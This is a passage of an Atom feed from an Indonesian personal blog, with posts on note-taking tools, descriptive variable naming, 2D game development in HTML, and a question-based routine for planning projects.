&lt;p&gt;Perasaan seperti canggung untuk bertanya adalah konsekuensi jika saya tidak mencatat sehingga lupa dengan task apa yang harus saya kerjakan. Tentu bukan hanya soal perasaan pribadi, jika dibiarkan hal ini akan berdampak buruk pada performa pekerjaan saya.&lt;/p&gt;
&lt;p&gt;Bagaimana agar segera mencatat task baru?&lt;br /&gt;
Saya butuh yang ringkas, cepat, to-the-point.&lt;/p&gt;
&lt;p&gt;Trello adalah project management populer yang memiliki opsi gratis yang terbatas, saya sudah mencapai limit board di akun saya, jadi ini bukan lagi pilihan.&lt;/p&gt;
&lt;p&gt;Ada banyak proyek Kanban open-source, tapi perlu waktu untuk membangunnya dan membiasakan diri menggunakannya. Tampilannya mungkin mirip seperti Trello, tapi kenyamanannya tentu jauh berbeda.&lt;/p&gt;
&lt;p&gt;Bagaimana dengan Google Sheet? Saya biasa menggunakannya, namun untuk hal yang berbeda seperti kalkulasi pengeluaran. Saya ingin yang lebih ringkas dari ini.&lt;/p&gt;
&lt;p&gt;Lucunya Notepad di Windows 11 adalah yang saya butuhkan, fitur tabulasi dan simpan otomatis yang tidak ada di versi sebelumnya, termasuk Windows 10, yang sedang saya gunakan, membuat pencarian lawan dari pemenang ini berlanjut.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Penamaan Variable dalam Pengembangan Project</title>
		<link href="https://hariswah.idin.my.id/blog/penamaan-variable-dalam-pengembangan-project/"/>
		<updated>2024-08-11T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/penamaan-variable-dalam-pengembangan-project/</id>
		<language>id-ID</language>
			<category term ="Programming" />
		<content type="html">&lt;p&gt;Membangun suatu program menggunakan bahasa pemrograman bukanlah hal yang mudah, apalagi jika cakupan program menjadi lebih luas seiring kebutuhan.&lt;/p&gt;
&lt;p&gt;Memberikan nama pada variable tanpa mendeskripsikan tujuan variable tersebut dengan alasan waktu tentu bukan keputusan yang bijak.&lt;/p&gt;
&lt;h2 id=&quot;bukan-hanya-soal-kamu&quot; tabindex=&quot;-1&quot;&gt;Bukan hanya soal kamu.&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/penamaan-variable-dalam-pengembangan-project/#bukan-hanya-soal-kamu&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Mungkin kalian pernah mendapati bahwa program yang sering kalian gunakan ternyata dibangun hanya dengan satu orang di belakangnya.&lt;/p&gt;
&lt;p&gt;Membangun aplikasi sendirian seringkali mengabaikan penamaan yang sesuai, dengan alasan tidak akan ada yang keberatan. Padahal bug seringkali didapati dalam masa pengembangan, mengabaikan penamaan yang deskriptif tentu membuang waktu dalam debugging.&lt;/p&gt;
&lt;h2 id=&quot;developer-bukan-ahli-mengingat&quot; tabindex=&quot;-1&quot;&gt;Developer bukan ahli mengingat.&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/penamaan-variable-dalam-pengembangan-project/#developer-bukan-ahli-mengingat&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dalam satu hari produktif, developer dapat menulis banyak sekali baris kode. Artinya banyak juga variable atau function yang dibuat/bersinggungan pada saat menulis. Jika terus terjadi, bukan hal yang mengagetkan jika iapun harus membaca berulang-ulang untuk tahu apa fungsi sebenarnya.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Asyiknya Game Development 2D Menggunakan HTML</title>
		<link href="https://hariswah.idin.my.id/blog/asyiknya-development-game-2d-menggunakan-html/"/>
		<updated>2024-08-11T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/asyiknya-development-game-2d-menggunakan-html/</id>
		<language>id-ID</language>
			<category term ="Game Development" />
		<content type="html">&lt;p&gt;Kenapa 2D?&lt;br /&gt;
Umumnya assets dalam Game Development sangat dibutuhkan. Membuat assets 2D secara umum tentu lebih mudah dibanding 3D, begitu juga kurva pembelajarannya.
Berikut adalah perangkat lunak pengolah gambar untuk membuat assets 2D:&lt;/p&gt;
&lt;p&gt;Gambar Raster&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adobe Photoshop (Berbayar, OS: Windows, MacOS)&lt;/li&gt;
&lt;li&gt;GIMP (Open-source, OS: Windows, MacOS, Linux)&lt;/li&gt;
&lt;li&gt;Paint.NET (Freeware, OS: Windows)
Gambar Vector&lt;/li&gt;
&lt;li&gt;Adobe Illustrator (Berbayar, OS: Windows, MacOS)&lt;/li&gt;
&lt;li&gt;Inkscape (Open-source, OS: Windows, MacOS, Linux)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Saya pribadi menggunakan Paint.NET yang menurut saya paling mudah dan cepat digunakan dari semua yang saya sebutkan di atas.&lt;/p&gt;
&lt;p&gt;Kenapa HTML?&lt;br /&gt;
Mengembangkan UI menggunakan HTML adalah pilihan yang menarik. Kurva pembelajaran yang cepat, skalabilitas yang tidak terbatas dengan JavaScript, dan variasi property CSS yang terus diperbarui oleh komunitas.&lt;/p&gt;
&lt;p&gt;Kenapa tidak Game Engine?&lt;br /&gt;
Game engine hanya dikhususkan untuk membuat game, developer yang juga fokus pada web development tidak perlu mempelajari suatu game engine jika sudah terbiasa menggunakan HTML.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Hal yang Saya Lakukan Setiap Kali Membuat Project</title>
		<link href="https://hariswah.idin.my.id/blog/hal-yang-saya-lakukan-setiap-kali-membuat-project/"/>
		<updated>2024-08-09T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/hal-yang-saya-lakukan-setiap-kali-membuat-project/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Saya adalah orang yang ingin terus melakukan sesuatu, yang walaupun saya tahu hasilnya tidak dapat dinikmati atau bahkan tidak akan berhasil. Menerapkan ide yang ada di kepala adalah sesuatu yang tak ternilai, ini adalah cara saya untuk membuat diri saya bahagia.&lt;/p&gt;
&lt;p&gt;Hal pertama yang saya lakukan adalah untuk segera mencatatnya, yang paling sering adalah menggunakan Handphone yang selalu ada di sekitar sebagai catatan 8W1H (Ada tiga Why, makanya bukan 5W1H).&lt;/p&gt;
&lt;p&gt;Apa yang ingin saya buat?&lt;br /&gt;
Siapa yang membutuhkan ini?&lt;br /&gt;
Di mana ia (membutuhkan/dapat mengakses) ini?&lt;br /&gt;
Kapan ia membutuhkan ini?&lt;br /&gt;
Mengapa ini perlu saya buat?&lt;br /&gt;
Mengapa ini perlu saya buat (lagi)?&lt;br /&gt;
Mengapa ini perlu saya buat (lagi)?&lt;br /&gt;
Bagaimana cara saya membuat ini?&lt;/p&gt;
&lt;p&gt;Dari pertanyaan-pertanyaan tersebut, saya berempati untuk mengimajinasikan persona-persona yang membutuhkan proyek ini, setidaknya saya dapat 3.&lt;/p&gt;
&lt;p&gt;Kebutuhan dan kemudahan akses adalah masalah yang penting, saya harus memilih dengan tepat karena ini menentukan waktu pengembangan proyek. Contohnya adalah fitur dan detail seperti accessibilty dan animasi.&lt;/p&gt;
&lt;p&gt;Saya sebisa mungkin menghalau ide untuk membuat proyek yang hanya dibutuhkan dalam beberapa waktu saja, ini siasat saya menghindari hilangnya semangat karena anggapan bahwa ini sudah tidak relevan lagi.&lt;/p&gt;
&lt;p&gt;Kenapa, kenapa dan kenapa saya perlu membuat ini?&lt;br /&gt;
Ini adalah ilmu yang saya dapatkan dari CEO tempat saya pernah bekerja. Terkadang kita memikirkan hal yang sebenarnya tidak perlu namun masuk akal untuk dilakukan. Misalnya, prakarsa menambahkan fitur atau bahkan saat memulai proyek. Trik ini berguna untuk menghindari cost yang akan dikeluarkan, umumnya waktu pengembangan.&lt;/p&gt;
&lt;p&gt;Pertanyaan terakhir adalah bagaimana. Dari sekian banyak solusi digital saat ini, saya terus beranggapan bahwa menggunakan apapun yang membuat saya senang, akan membuat saya bersemangat untuk mengerjakannya secara konsisten.&lt;/p&gt;
</content>
	</entry>
	</feed>